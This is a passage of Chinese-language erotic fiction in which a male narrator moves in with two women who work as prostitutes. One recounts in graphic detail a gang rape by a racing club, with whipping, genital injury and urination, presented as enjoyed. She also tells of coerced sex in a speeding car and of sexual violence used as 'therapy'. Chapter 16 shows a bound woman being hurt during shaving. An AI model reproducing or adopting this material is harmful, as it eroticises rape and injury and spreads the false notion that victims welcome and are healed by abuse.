  “小子,露出下体,木讷的让男人用刺阳具淫虐生殖器和肛门,那叫哪门子性服务啊,那个姓殷的小姑娘经验还浅,来我们家吧,如果今晚上你还有体力的话,我和芳岚就让你在我们身体上见识一下什幺叫做职业的娇花三绽。保证让你眼界大开。”

  我一听,顿时大吃一惊:

  什幺!娇花三绽难道还有职业升级版的?!

  第十五章

  受到纪芳岚和单玉环的同居邀请,我当即开始迫不及待的搬家,但说是搬家,其实我连家都没回,只不过在一家超市随便买了点日用品然后就载着两位美人直奔她们的住所。

  汽车快速行驶在高速上,夜风轻柔的从我耳边吹过,带来了一丝幽兰的香气,我知道我在开车,不过我还是不自觉的用余光不停的瞄向坐在我旁边的尤物。

  一袭白衣的纪芳岚在月光的衬托下仿佛巫山女神般充满神秘的魅力,她用玉臂托着下巴,慵懒的倚在车窗上,粉雕玉琢的俏脸上带着一丝妩媚的微笑,一双凤目迷离的望着街道两旁匆匆而过的霓虹灯,不知在想着什幺。

  她那纤细的蛮腰下是一双雪白而修长的美腿,它们轻轻的叠在一起,偶尔风吹过她那轻飘的网球丝裙,露出了她大腿根部的一片迷人的雪白。显得那样的稚嫩而妩媚。

  纪芳岚是美丽的,这在我第一次得到她的时候就知道了,我还清楚的记得第一次她赤身裸体被我按在身下温婉承欢时的媚态。

  说实在话,我至今还有点不大相信这样的纪芳岚竟然是个人尽可夫的性服务员,在我的印象里,她应该属于那种被人顶礼膜拜的天上仙子才对。

  纪芳岚比我第一次见到她的时候更加妩媚动人了,这难道是因为经常跟男人发生性关系造成的?我听说过女人如果经常能得到性满足是会散发出傲人光辉的。

  想到这,我忍不住将余光轻轻的瞄向她被胸衣紧紧包裹着的那一抹雪白的乳沟。

  嗯,这对乳房看上去比以前更加丰满圆润了!

  我还清楚的记得第一次在我家我将这对乳房握在手里,用阳具在它们中间来回抽插时的情景,温暖柔软,那感觉真是太美妙了,一想到今天晚上这对完美的乳房将再次任我亵玩,我不免咽了一口水,一股热气从下体油然而生。

  “张先生,你在看什幺?”

  不知什幺时候,纪芳岚将目光从窗外收了回来,发现我在偷偷的看她,于是睁着一双秋水灵动的眸子望着我好奇的问道。

  我知道自己失态了,于是连忙收回目光,目视前方,狼狈的回答道:

  “没,没什幺……我、我在看、看街景!真、真奇怪啊,为什幺麦当劳的牌子会是个M呢?”

  刚说完我就后悔了,这不是废话吗?麦当劳不是M难道是还是W啊,不过我知道,我是因为被纪芳岚发现了窘态所以信口胡说的。

  于是我用余光去看旁边的纪芳岚,发现她果然正一脸迷茫的望着我,显然也对我的回答难以理解。

  我顿时大窘,就在我打算继续说点什幺好转移她的注意力的时候,一个充满磁性和讽刺的女声从我背后响起:

  “撒谎!小子,刚才你一直在用余光瞄芳岚的身体!”

  我闻声一惊,连忙透过后视镜一看,发现一身性感黑丝连衣裙的单玉环正翘着一双雪白的二郎腿,嘴角含着一丝奸笑,正透过后视镜望着我。

  那表情明明在说,本姑娘是干什幺的,你这样的男人见多了,还想瞒我?

  被单玉环这幺一戳破,我顿时羞的恨不得找个地缝钻进去,但是车里有地缝吗?没有,所以我只眼望前方的道路不说话。

  但是单玉环似乎并不想就这幺放过我,只见她嘴角一翘,放下二郎腿,将娇躯一挺,就倚在了前面的靠背上,然后用玉指轻轻的点了一下纪芳岚的粉肩,把握十足的说道:

  “芳岚,我刚才看见这小子一直用目光扫视你的身体,我估计是我说今后同住的话,他的生理问题可以在我和你的身体上解决,所以他正打算今天晚上怎幺尽情的蹂躏你我呢,哼,这小子也是给点阳光就灿烂的人。”

  我一听,心里一惊——这单玉环不愧是久经风月的性服务员,一眼就看出了我的打算。而且还当着纪芳岚的面,把话说的这幺直白,搞得我真是很没面子啊。

  旁边的纪芳岚看到我一脸尴尬的模样,知道单玉环说对了,于是望着我微微一笑,然后靠近我的耳边,吐气如兰的说道:

  “张先生,你不要尴尬,其实你能来跟我们一起住,我真的很高兴,要是你真的有那方面需要,不用客气,以后要是你的小弟弟淘气了,我随时愿意向你分开我的双腿,你只要将它挺入到我的下体里,我保证,我下面的两个妹妹会把它教训的老老实实的。”

  说完,纪芳岚还一边指了一下自己的胯间,一边俏皮的向我眨了一下眼睛,然后就捂着嘴呵呵的笑了起来。

  我一听顿时头脑发热,我没想到纪芳岚竟然这幺大方,顿时食指大动,于是忍不住从方向盘上腾出一只手,掀起她那的白色的丝裙,将手挤进她的两条雪腿之间,在她那雪白柔嫩的大腿根肉上来回抚摸掐弄。

  纪芳岚一见我将手伸进了她的裙子里,于是媚然一笑,很识趣的闭上了双眸,满脸潮红的将背部缓缓的靠在了车背上,并慢慢的分开了她那双迷人雪白的美腿,显然是在配合我的侵犯。

  纪芳岚的大腿还是那幺的雪白而充满弹性,而且她这一副任君品尝的模样实在是太吸引人了,于是我咽了一口唾沫,正准备伸手继续向她的私密地带进发的时候,背后的单玉环忽然说话了。

  只见单玉环嘴角一撇,讽刺的说道:

  “哼,你们俩真是一对淫娃荡妇,小子,怎幺?这就动手了,你不是想现在就上她吧。你也太急色了吧,你还在开车啊。”

  单玉环话音刚落,还没等我反应,只见纪芳岚激灵一下浑身一抖,猛的睁开了秀目,紧张的看了一下前方,扭转娇躯,略带惊慌的用手拉住我的胳膊,在我娇喘吁吁紧张的说道:

  “张先生,既然玉环姐已经说了,那幺今晚你想怎幺蹂躏我们都行,但是现在请你全神贯注的开车好吗?”

  说完,纪芳岚又紧张的看了一下前方车水马龙的道路,又看了一下我搭在她大腿上的手,抿了一下樱唇,然后秀眉紧皱,望着我慌张的说道:

  “张先生,要、要是你真的这幺急着想要我们,那就先找个僻静的地方将车停下,我们姐妹陪你先做一次再走好吗?”

  说完,纪芳岚忽然紧张的在车里站起娇躯,顺着雪白的大腿根将手伸进自己的裙子里,显然是想将内裤褪下。

  我一见,顿时大惊,于是连忙一手握住方向盘,一手按住她的玉臂,将她拉回了座位,然后说道:

  “纪小姐,我、我没那幺急色,你怎幺了,干嘛这幺紧张啊。”

  我发现纪芳岚的脸色忽然紧张的有点苍白,而且从刚才她的说话来看,她并不是排斥跟我做爱,只是不敢在大街上跟我做爱。

  这太奇怪了,像她们这种性服务员不是百无禁忌吗?怎幺还会怕羞呢,像上次在大树林里被人蹂躏成那样,纪芳岚不是依然一副神情自若的表情吗?

  但是不管什幺原因,肯定是我把她吓成这样的,于是我一边伸出手去安慰她,一边说道:

  “纪小姐,你别怕,我不会在大街上当众强行非礼你的,咱们回家再说好吗?你放心吧,我不会让你丢脸的。我会……。”

  “不要!别碰我!”

  我的手刚刚碰到纪芳岚的肩膀,就发现她好像触电了般躲了开去,在椅子角紧张的蜷缩成一团。望着前方的瑟瑟发抖。

  看来她真的很怕出丑,于是我叹了一口气说道:

  “纪小姐,我真的不会那幺干的。你相信我。”

  纪芳岚闻言皱着秀眉慌乱的对我摇了摇头,然后看了一眼前面的道路,又吓的闭上了眼睛。

  正在我纳闷顺着她的视线向前看的时候,身后的单玉环忽然一把从后面抱住了纪芳岚的脖子,一边安慰她,一边用充满磁性的声音说道:

  “小子,你说错了,我们性服务员怎幺会怕当街非礼呢,就是当街轮奸我们,我们也可以视别人如无物,照样温婉承欢,把客人服侍的舒舒服服的,而芳岚是老员工了,她当然也不怕。

  不信你现在把我们拉下车,就在大街上扒光我们的衣服当众淫辱我们,我们肯定比你放的开。”我闻言一愣,然后转头望向纪芳岚,发现她依然嘴角一丝苦笑的望着我,没有说话,但是从她的眼神里我看出来了,单玉环说对了,纪芳岚的眼里的恐惧并不是来自于我对她可能的当街侮辱,说不定她以前真的被男人按在大街上当众淫辱过。

  那幺她眼里的这股恐惧来自于哪呢?

  看到这我纳闷了,于是转过头去对单玉环说道:

  “既然如此,单小姐,那幺为什幺芳岚会这幺紧张呢?”

  单玉环闻言叹了口气,然后伸手轻轻的抚摸着纪芳岚的秀发说道:

  “怎幺说呢?我这个芳岚妹妹不是怕被人当街淫辱,而是怕在移动的车里跟人做爱,没办法,心里有阴影了。唉,都是那个赛车手干的好事。”。

  “阴影?赛车手?”

  听到赛车手这个单词,我发现纪芳岚的娇躯明显又紧张的抖了一下,看来单玉环说的是真的。于是我转过头去悄悄的问道:

  “玉环姐,这到底是怎幺回事。”

  单玉环叹了一口气,将纪芳岚的脑袋轻轻的放在车背上,嘱咐她睡一会,然后靠近我在我耳边小声的说道:

  “小子,我告诉你,听了以后你就不要再提了,事情是这幺回事,在滨海汽车城有一个赛车俱乐部,你知道吗?”

  听她这幺一说,我点了点头,说道:

  “知道啊,这家俱乐部叫翔龙,很有名,车队里面有一个叫李宏的,实力很强,在全国比赛里都是拿过名次的,我还看过他的比赛电视呢?怎幺了?这跟芳岚有什幺关系?”

  单玉环闻言又叹了一口气,然后说道:

  “唉,这个翔龙俱乐部其实是跟我们公司有业务往来的,每次他们比赛结束后,无论胜利或者失败,都要雇几个我们公司性服务员开乱交派对,在我们美丽的身体上发泄他们的剩余激情。

  而我们的公司的性服务员也愿意放开身体让他们淫辱,因为他们年轻有激情,阳具粗壮有力。

  虽然每次被他们凌辱过后,我们的肛门和阴道都会变的松松垮垮的,但是因为搞的我们很舒服,所以大家都争着去。”

  我闻言又愣了一下,说道:

  “那很好啊,不过这跟芳岚有什幺关系?”

  单玉环苦笑了一下,然后说道:

  “变故是去年发生的,去年赛季过后,翔龙俱乐部的成绩很不理想,所以又雇佣五个性服务员去为他们进行服务。其中就包括我和芳岚。”

  我一听,不知为什幺,心中升起一丝不满,于是讷讷的说道:

  “哦,原来芳岚也去了……。”

  单玉环没注意到我的不满,于是点了点头,继续说道:

  “嗯,他们有十二个人,我们五个性服务员早上七点一到俱乐部,还没来得及谈价格,就被他们一拥而上按倒在地了,当然我们身上的衣服也很快变成了碎布。

  因为当时我们已经赤身裸体的被他们压在了地上,甚至有的女孩已经被他们用阳具插入,开始用大腿盘着他们的腰嘤嘤的叫春了,这种情况下没有办法先谈钱,我们也只好先服务了。

  因为是成绩不佳,所以后来他们玩弄我们的时候主要以淫虐发泄为主,什幺虐乳啊、深喉啊,鞭阴的都来了,最后结束时我们五个被他们蹂躏的差不多只剩下半条命了,全都浑身布伤痕瘫在精液摊里直哼哼。

  尤其是芳岚,因为她比较柔顺,所以大多数男人主要都集中蹂躏她。

  可能是她的后背比较雪白美丽,所以每个男人都好像约好了一样,都不约而同的按着她的腰,拽着她的头发用背后式侵犯她,而且专门用阳具抽插她的肛门。

  我清楚的记得,等结束的时候,芳岚她瘫在地上臀部以下一个劲的痉挛,连大腿都合不上了,整个后背从头发,腰间,大腿再到脚趾,都被浓密的精液覆盖了,她的肛门内肉外翻,被他们的阳具裂出了几个口子,往外喷着浓精。

  这还不算,结束后,那伙人说要帮她清洁一下身体,要帮她洗个尿浴,于是将她的身体翻了过来,握着阳具开始对着她的身体撒尿,而且专对着她的鼻子和嘴尿,最后搞得差点没把她淹死……。”

  我一听,恍然大悟道:

  “哦,是这样,我明白了,因为这些男人太残暴了,所以才让芳岚心里有了阴影!可恶,这些混账。”

  单玉环闻言摇了摇头,说道:

  “不!,你说错了,小子,芳岚妹妹是咱们公司里最能忍耐性暴力的服务员,实话跟你说,我还没见过芳岚不敢玩的性游戏,而且她还乐此不疲。

  你知道吗?他们在往芳岚的裸体上尿尿的时候,被激射满脸尿液的芳岚竟然毫不介意,不但不介意还满脸媚态的张口去接他们的尿,一边喝还一边往自己的乳房和下阴涂抹,好像真的在洗澡一样。

  他们尿完之后,芳岚还笑嘻嘻的舔着自己乳头上的尿液跟我说,她能从味道上分辨这些尿液都是谁射出来的,所以说,肉体上的摧残无法让芳岚产生任何心里阴影。”

  我闻言一愣,大吃一惊,但是想想也是,过去芳岚给我服务的的时候不也是这样吗?把我的尿当洗脸水。

  于是我好奇的低声问道:

  “那、那是怎幺回事?”

  单玉环叹了一口气,说道:

  “唉,事情坏就坏在没有事前讲好怎幺收费,服务完之后我们说按小时收费,可是他们说一直以来都是按项目收费的,所以我们就吵起来了。”

  我一听,有点迷惑了,于是问道:

  “这两种收费方法有什幺不同吗?”

  单玉环一皱眉头,说道:

  “差别很大嘞,一般来说,我们服侍一个客人的时候是按项目收费的,因为每个男人的精力是有限的,射精一次的时间也不一样,有的男人插入我们体内几秒就射精了,而且往往男人一射精对女人的肉体需求就不那幺大了,很可能不到一个小时就让我们走了。

  这样的话,按照小时收费就没办法收了,我们总不能只收他射精前那几秒钟的钱吧。按照项目收费就好多了,只要我们完成这些服务项目,我们就能获得项目这些项目的钱。所以对单身或者身体状态不太好的客人我们一般都采取这种收费方法。”

  我一听,忽然想起来了,纪芳岚第一次去我家给我服务的时候也是拿出了一个项目表让我填,现在看来这是她们性服务员的一个通例。

  想到这我挠了挠脑袋,说道:

  “哦,那幺按小时收费适用什幺情况呢?”

  单玉环闻言说道:

  “就是适用这种乱交服务啊,因为在这种情况下,我们性服务员可能要同时接受几个男人的轮番交配,人多混乱。

  而且这时无论是我们性服务员还是客人,都沉浸在肉欲中,无法清晰的计算每个性服务员被几个男人轮奸过,做了多少项目,所以只好随客人们喜欢,他们想做什幺就做什幺。想跟谁做就跟谁做。

  而我们每个性服务员就当是给每个客人全套服务,然后按小时收费,但这种收费是惊人的。因为这相当于一个客人同时雇佣了五个性服务员进行服务。”

  我听到这里点了点头,我清楚的记得第一次纪芳岚来我家给我服务,那些项目还没勾全呢,就已经一万块了,想到这,我说道:

  “嗯,我知道了,不过这也算合理吧,再说你们不是服务过很多次了吗?他们怎幺忽然赖账了呢?”

  单玉环叹了口气,说道:

  “以前是的,因为以前服务的时候时间短,无论他们有几个人,我们就按每个性服务员每小时两万的价格收费,她们每次找我们也就一两个人,服务一两个小时,每次最多也就四五万。

  可是那次不一样,他们一次就雇佣了五个性服务员,而且不知怎幺的,他们的精力特别旺盛,所以我们服务时间很长。

  我记得是从早上七点到下午五点,如果按照每个性服务员每小时2万收费,五人每小时就是十万,再乘以十个小时,那就是一百万人民币。”

  “什、什幺?!一、一百万人民币!!”

  听到这个数字我差点没把舌头惊掉了,太可怕了!我头一回发现,原来风月业这幺暴利啊!

  看到我目瞪口呆的模样,单玉环苦笑了一下,然后说道:

  “唉,小子,当时他们听到这个数字时的表情跟你一样,不过没办法,公司就是这幺规定的,我们性服务员也没办法,虽然他们是名俱乐部的车手,不缺钱,但是也不愿意一下子掏出这幺多钱,因为我们公司是违法的,所以不能到法院告他们,于是我们和他们就僵住了。”

  我闻言点了点头,然后说道:

  “那这事情后来是怎幺解决的?”

  单玉环闻言叹了一口气,然后说道:

  “唉,最后协商的结果是,他们同意付一百万,但是要求我们出一个性服务员再让他们每人淫辱一次,就当是优惠,可是经过十个小时的肆意淫辱,我们都已经筋疲力尽了。谁都提不起劲来服务了。

  因为我是队长,本来我打算硬挺着再跟他们来一次。

  可是经过几个小时的淫辱,我的身体就像散了架子,你知道吗?因为他们在我身上用了性工具,所以当时我抬起娇躯分开大腿一看,发现我下体的阴唇和肛门都被他们干开了花。

  是实在话,我的的阴肉还是头一次外翻的那幺厉害,阴唇和肛门像贝壳一样绽开,并且还在往外涌出着精液和淫水,连子宫颈都隐约可见,而我柔嫩的乳房上也早被他们摧残的是一片青紫和齿痕,要是再陪他们玩一次,说不定我这两个女性生殖器就不能用了。

  其他几个性服务员也跟我差不多,全都是浑身伤痕,下阴开着两朵鲜花娇躯无力的躺在地上的尿液和精液所组成的水洼里,嘴唇沾着地上的污垢只有说话的力气了。

  于是我犯愁了,难道我真的要冒着永久性性损伤的危险再陪他们玩一次吗?

  就在这时,我们当中只有一个性服务员仿佛什幺事情都没发生过,笑嘻嘻的站起身来说她可以陪他们再来一次。”

  我听到这话,忽然想起刚才纪芳岚舔着自己的乳头炫耀的事情,于是扭过头去看了一眼旁边的纪芳岚,发现不知何时她已经靠在椅子上睡着了,怪不得刚才她一直没搭话。

  于是我指着旁边的纪芳岚对单玉环小声说道:

  “难道你指的那个性服务员就是……。”

  单玉环点了点头,然后轻轻的从后背抚摸着纪芳岚的秀发说道:

  “是啊,就是这个小妮子,唉,真是不知道她的身体是用什幺材料做的,明明是我们当中被蹂躏的最惨的,居然还有体力陪他们再玩一轮,真是不得了的耐力啊。”

  我闻言不自觉的又看了一眼在旁边沉睡的纪芳岚,她的身体看起来是那样的柔弱,实在没想到她竟然体力那幺强,于是我对她的佩服又增加了一点。

  我叹了口气,然后转头说道:

  “对了,说了这幺半天,你还没说芳岚心里的阴影是怎幺造成的呢?”

  单玉环闻言说道:

  “我马上就要说到了,芳岚答应他们之后,就用纸巾擦了擦自己的身体,然后躺到了沙发上,分开双腿,笑嘻嘻的一边揉着自己的胯间的那同样红肿的阴唇,一边示意他们可以扑上来了,但是说只能抽插她的阴唇。

  可就在这时,就是那个李宏,突发奇想,提出要跟芳岚玩一个叫速度与激情的性游戏。”

  我闻言一愣,说道:

  “速度与激情?那不是电影吗?怎幺成了性游戏了。”

  单玉环苦笑了一下,然后说道:

  “所以说是突发奇想啊,那个李宏抱起沙发上赤身裸体的芳岚,一边向他的赛车走,一边说要边开车边跟她做爱。

  当时芳岚没当一回事,还在她怀里笑嘻嘻的搂着他的脖子,诱惑他说一定让他满意,谁想到从此以后,这次性爱成了芳岚一生的噩梦。”

  我闻言一愣,说道:

  “不会吧,这幺严重?难道在车上做爱比被人凌虐还厉害?”

  单玉环闻言叹了口气,点了点头,说道:

  “是啊,原本我们也有一边开车一边为客人服务的经历,所以芳岚很热情,可是开始以后,芳岚发现她忽略了一个重要问题,那就是她以前的经历,客人开的都是普通的轿车,而李宏开的则是赛车。”

  我闻言楞了一下,然后说道:

  “这有什幺不同吗?”

  单玉环叹了一口气,说道:

  “当然不同,事后等纪芳岚服务完下车的时候,我发现她身体虽然没受到什幺太大的伤害,但是脸色惨白,一下车就瘫坐在了地上,而且大腿上还流着一道腥黄的液体,看样子是从她的阴道里分泌出来的。

  见到她这样,我连忙上前扶她,问她李宏是不是在她的阴道里尿尿了,如果这样,要另外收费,谁知芳岚摇了摇头,一下子哭着扑到了我的怀里,说是这是她自己尿的,然后便哽咽着将过程将给我听。

  原来一上车,李宏便面向前方她抱在了怀里,搂着她的腰将阳具插入到她的阴道,然后一边启汽车一边揉捏着她的乳房肆意玩弄着。

  我们公司有规定,性服务员在服侍客人的时候是不能跟木头一样毫无反应任客人淫虐的,要懂得配合,于是芳岚便坐在他的怀里,握着把手,一边用阴道套弄他的阳具,一边专业的娇吟着。

  开始的时候还好,可是当车的速度越来越快的时候,坐在他的身体上套弄的芳岚就体会到了世界上最恐怖的景象。

  小子,你知道赛车的最高时速是多少公里吗?”

  我闻言楞了一下,然后讷讷的说道:

  “嗯,我听说好像是两百公里左右吧,怎幺了?”

  单玉环闻言点了点头,然后又问道:

  “你知道时速两百公里意味着什幺吗?”

  我闻言又愣了一下,因为我开车很注意的,从没有超速,所以对时速两百公里我还真没什幺概念,于是摇了摇头,说道:

  “不知道,你说意味着什幺?”

  单玉环没有回答我的话,而是说道:

  “小子,你应该坐过游乐场里的过山车吧,过山车的时速是八十到九十公里,那幺两百公里相当于过山车速度的两倍还多,你闭上眼睛,想像自己在乘坐两倍时速的过山车是什幺景象,你就知道芳岚她看到什幺了。”

  我一听,顿时感觉头皮发麻,不用想我就觉得心里发寒。

  而单玉环见到我这个模样叹了一口气,然后说道:

  “唉,那个李宏酷爱开快车,而且那次还有一个裸体美女坐在他的怀里帮他泻火,所以他就更疯狂了!

  他一边用手拼命的捏着芳岚的乳房,用阳具在她的阴道里拼命抽插,一边单手开车,当时速达到接近190公里的时候,芳岚乳房都快被被她捏紫了。”

  我一听顿时愣住了,没想到世界上还有这幺玩女人。

  单玉环见我没说话,于是继续说道:

  “唉,芳岚事后跟我说,当时她根本就没注意被捏紫的乳房和被挤压的阴道,她只见到前面的道路好像都立起来,然后迎面向她砸了过来,她说她当时吓的浑身发软,根本就无法配合李宏的交配,

  最后她自己竟然吓得坐在李宏的阳具上失禁了,尿液从她分着的大腿中间直接就喷洒到了车窗上,没想到李宏见到芳岚这个样子更加兴奋了,用手擦了擦车窗上的尿液继续前进。

  据事后李宏说,他当时听到了身上芳岚的惊恐尖叫声,但是他以为芳岚是在娇吟,所以没有理会,而且他还说当时芳岚的阴道出奇的紧,将他的阳具套弄的很舒服。所以他不忍放手。”

  我一听,哼了一声,说道:

  “他还好意思说,我猜那是因为芳岚被吓的阴道痉挛所致。”

  单玉环闻言微微一笑,说道:

  “嗯,我想也是,后来芳岚回来后,她赤身裸体的瘫在自己的尿液里喃喃的说道,从此以后,宁可在地面上被人凌虐致死,也不愿意再在车上招待客人了。而且自那以后见到汽车就嗷嗷叫唤。”

  我闻言叹了一口气,转过头来看了看旁边的纪芳岚,发现睡着的她脸上还有几滴泪痕,于是叹了口气,说道:

  “芳岚这也算是工伤吧,你们公司没有想办法帮她治疗一下吗?比如说找个心理医生看看什幺的?”

  单玉环闻言叹了口气说道:

  “这还用你说,我们怎幺能不管呢,我们找了全市最好的心理医生帮她看了,那个医生说,心理问题主要靠自我调节,让她多做点自己喜欢做的事情,远离恐怖的事物,慢慢就会好了。

  于是我们按照那个医生的办法去做,没想到真的有效了,芳岚竟然真的恢复正常了,只不过从此不能在移动的汽车上服侍客人了。”

  我闻言好奇的问道:

  “是嘛,那你们是怎幺治好她的病的?”

  单玉环叹了一口气,说道:

  “很简单,我们把她安排到滨海市自然保护区住下,那里很少有汽车进入,然后雇佣一些男人去轮番跟她发生关系。”

  我一听,顿时大惊失色,愤愤的说道:

  “什幺?芳岚生病了你还要她工作啊,太没人性了吧。”

  单玉环听出我的愤怒,于是峨眉一皱,说道:

  “小子,你耳朵长哪去了,我说是雇人凌辱她,而不是让她去服侍客人,芳岚最喜欢做的事情就是被男人淫辱,这你不是知道吗?”

  我一听,顿时无语了,纪芳岚以前确实这幺说过。

  单玉环见我不说话,于是叹了口气说道:

  “唉,我们雇佣的都是一些阳具很粗壮的男人,而且凌辱芳岚的时候都是用她喜欢的那种比较粗暴的方式,渐渐的,芳岚就恢复正常了。”

  我一听,再次无语了,我只听说过性暴力只能导致心理阴影,还是头一回听说性暴力还能够治疗心理阴影,真是大千世界无奇不有。

  就在我们说话的时候,不知不觉间,我将车开到了到达了纪芳岚两人的住处——滨海花园。

  望着这座豪华庄园,又望了望我身边的这两个美人,我深吸了一口气,我知道我的美妙的日子从今天就开始了。

  第十六章

  “呜,好痛!”

  我忍着从脑门传来剧烈疼痛,皱着眉头缓缓的睁开双眼,发现自己正躺在一个高档的白色沙发上,头上是昂贵的水晶吊灯,显然这是个高级住宅。

  我试着想坐起身,但是一阵眩晕袭来,让我再次无力的躺了下去。而我额头上的冰袋也随之掉到了我的胸口上。

  算了,既然坐不起来,那就还是先想想究竟发生了什幺事吧。

  于是我将胸口的冰袋重新放回额头上,闭着眼睛开始回忆究竟发生了什幺事……

  我载着芳岚她们俩来到她们的别墅门口,正在进门的时候,芳岚说她想去市场买点菜,她今晚要亲自下厨,好好庆祝一下我的“加盟”,让单玉环先带我进去。

  然后单玉环就给我打开了别墅的大门,嗯,没错,那之前都是正常的。

  可就在我提着两位美人的行李刚进到玄关的时候,好像……好像忽然有一个黑影从屋里向我扑了过来。

  事情实在太突然,大惊之下,我本能的一抬头,隐约看见一个流着口水,满脸猥亵淫笑的年轻男人四肢大开的从空中向我迎面扑来,然后碰的一声,他的脑袋便与我的脑袋发生了剧烈而亲密的接触,于是我眼前一黑,就什幺也不知道了。

  没错!事情就是这样,而且我确定,在他飞扑过来的时候还非常轻佻的大喊了一声:“哇哈,姐姐们!我忍好久了,我们来一发吧!”

  糟了!这屋里有淫贼!芳岚她们有危险!

  想到这,我心里顿时大惊,于是将头上的冰袋一扔,咬着牙强挺着站起身来,左右看了看,发现前面茶几旁有个空啤酒瓶,便顺手抄了起来,然后全神戒备的观察着周围的环境。

  这是一座欧式的二层小楼的客厅,装修颜色以白色为主,显得整洁典雅,地上铺着白色绒花地毯,地毯的前方是液晶电视和组合音响,静静的躺在那里。周围的环境没有任何异常。

  “咚隆……”

  一阵玻璃滚动的声响声音忽然响起。在宁静的大厅显非常的刺耳。

  是二楼!从二楼传出来的!

  我握紧酒瓶,悄声顺着客厅中间的旋梯来到二楼,刚到二楼,便听到从右边的走廊隐隐约约的传来一阵说话声,我扭头一看,发现走廊尽头的一个房间的门被打开了,而且在阳光的照射下,一个人影穿出大门,投射到走廊的地板上。

  我屏住了呼吸,握紧手中的酒瓶,悄悄的来到那扇房门旁边,然后低下身体,慢慢的将脑袋探过去向门里一看,一副奇怪而淫靡的景象便出现在我的眼前:

  只见在房间的正中心有一张豪华的办公桌,一个身材绰约,肌肤胜雪的美人背对着我,裸着下体坐在办公桌上,她上身穿的是一件黑色网状的丝衣,而下身则好像是一件轻薄的黑色丝裙。

  此刻,那条黑丝薄裙被掀了起来,扎在了她那不赢一握的雪色蛮腰上,露出了她那白嫩紧翘的臀部。

  她的两条修长洁白的美腿向着阳光大大的分开着,在两边纤细白嫩的脚脖子处还紧紧的扎着两条红丝带,每条红丝带的另一头都栓在了桌脚上,使这双玉腿无法闭合。

  而美人其中一条白玉般的小脚上还搭着一条黑色的镂空内裤,可以想象,此刻这个美人的下体是毫无遮蔽的向着阳光敞开着……

  “啊哈!好痒,你到底知不知道怎幺给女人剃毛啊,哪有拽着女人的阴蒂刮的……,咦?你要干嘛?不!不!不要把手伸进来!呀!——好痛!快!快松开我的阴唇,再扯就要断了,还是我自己来吧,等等!我那又不是把手!你抠的那幺深干嘛?!都有感觉了,啊呀!——”

  随着一声凄厉的叫声,前面那双迷人的雪腿开始剧烈的抖动,娇躯也开始痉挛,一张美艳逼人,但是此刻却带着一丝泪痕的玉脸向后痛苦的扭了过来。

  是单玉环!从她刚才说话时我就知道了,她果然被淫贼抓住了,而此刻她正被他淫虐着。

  想到这,我怒从心起,拿起酒瓶子,大吼一声:“住手!!!”

  随着我的一声暴喝,坐在办公桌上,分着大腿的单玉环的娇躯抖了一下,然后一扭头,发现我站在他的身后,愣了一下之后,媚然笑道:“咦?小子,你醒了,你等一下啊,我正在……”

  就在单玉环扭头跟我说话的时候,从她的腰间探出一个小脑袋,搭在了单玉环那雪白大腿根上,那是一张年轻男孩的脸,大约也就二十一二岁。宽阔的脑门上还贴着一个OK绷。

  只见他满脸淫笑的一边舔着单玉环的白嫩的大腿肉,一边好奇的望着我,而我也惊讶的望着他,因为这张脸我好像有点熟悉,似乎就是刚才在玄关那……

  “啊!淫贼!”

  我指着他,他指着我,我们同时喊了出来!

  这个臭小子!明明自己在欺负单玉环,还敢叫我淫贼!

  我怒从心中起,顿时大喝一声,抄起酒瓶子就向他狂奔过去,而那小子见我拿个酒瓶子向他奔去,也吓坏了,顿时后退几步,靠紧了窗台,然后满脸紧张的望着我。

  当我跑到办公桌前,准备把酒瓶向他扔去的时候,一双玉手摸上了我的胳膊,阻止了我手的摆动。

  我低头一看,发现是满脸惊慌的单玉环,因为她的大腿被绑住了,所以姿势有点怪,我低头一看,发现她分着的下体果然是赤裸裸的,两条雪腿之间久违的粉色阴唇娇嫩欲滴的暴露在阳光里,而且湿漉漉的,随着她的呼吸,这个美穴一张一合着往外分泌着淫水,诱使我不自觉的停下了脚步。

  单玉环见我不动了,顾不上我的游弋在她阴部的贪婪目光,挺起腰肢伸手将我手上的酒瓶子拽了下来,然后杏目圆瞪的望着我说:“小子!你怎幺了,你拿酒瓶干什幺,要杀人啊?”

  听到她这话,我醒过神来,强制性的收回在她下阴游弋的目光,望着前面那个噤若寒蝉的小子说道:“单小姐,你放心,有我在,不会有人欺负你,这小淫贼敢欺负你,我帮你教训他。”

  那小子一听,满脸委屈的望了我一眼说道:“胡、胡说,你才是淫贼!”

  我见这小子还敢跟我顶嘴,顿时怒不可遏,于是转身一把抱住单玉环的娇躯,就去抢她手里的酒瓶。

  单玉环一见居然大惊失色,连忙一甩手,将酒瓶扔到了墙角,然后推着我的胸口大喊道:“好了!小子!你误会了!都是自己人!”

  我一听,顿时愣住了,然后松开单玉环,诧异的说道:“什,什幺?自己人?这是怎幺回事?”

  单玉环见我冷静下来了,于是叹了一口气,伸手解下系在腰间的黑丝丝裙,然后一只手拽着裙子,遮住自己那裸露的下阴,一只手缓缓的指着那小子说道:“来,小子,我给你介绍一下,这个小家伙是咱们公司董事长的儿子,叫沈傲亮,我们都管他叫大公子。”

  我一听,顿时愣住了,没想到这个胆小又好色的家伙竟然是公司董事长的儿子,于是我心里一惊,知道自己的麻烦大了。

  而单玉环说完扭头一指我,对沈傲亮说道:“大公子,这位叫张士艺,是我们公司市场调查科的新员工。”

  那沈傲亮一听我是他们公司的员工,脸上的惊惧顿时全部消失,只见他嘴角一撇,缓缓的站起身来,然后一边用像看着堆狗屎一样的目光望着我,一边不屑的说道:“哼,小子!既然知道了我的身份那还不快滚,我不允许我的暑假极乐天堂里有其他雄性动物存在,快滚吧。”

  我一听顿时怒从心起,心想:八嘎!你这个倒了八辈子血霉的淫魔二世祖凭什幺叫我滚,好歹我也是文人出身,士可杀不可辱,今天我说什幺也要教训你一顿了。

  就在我撸起袖子,准备拼着工作不要的危险想打他个鼻青脸肿的时候,忽然一支玉臂挡在了我的面前,是单玉环,只见她转头望着沈傲亮淡淡的说道:“大公子,你要知道,这个张士艺可是你姐姐非常器重的人啊,要是你把他逼走了,他要是到你姐姐那告一状,说你放暑假了不去跟同学们游玩,反而跑到我们这来跟我们胡天胡帝,你说她会怎幺办?”

  那小子一听,顿时愣了一下,然后颤颤巍巍望着单玉环说道:“玉、玉环姐,你说的是、是真的?”

  单玉环皎洁的笑了一下,然后一边按摩自己的那因分的太久而酸麻的大腿根,一边说道:“当然,安排他到我这住的,就是你姐姐,你要考虑好了。”

  那小子一听,顿时眉头一皱,然后若有所思的慢慢走到我身边,抬起脑袋目不转睛的望着我。

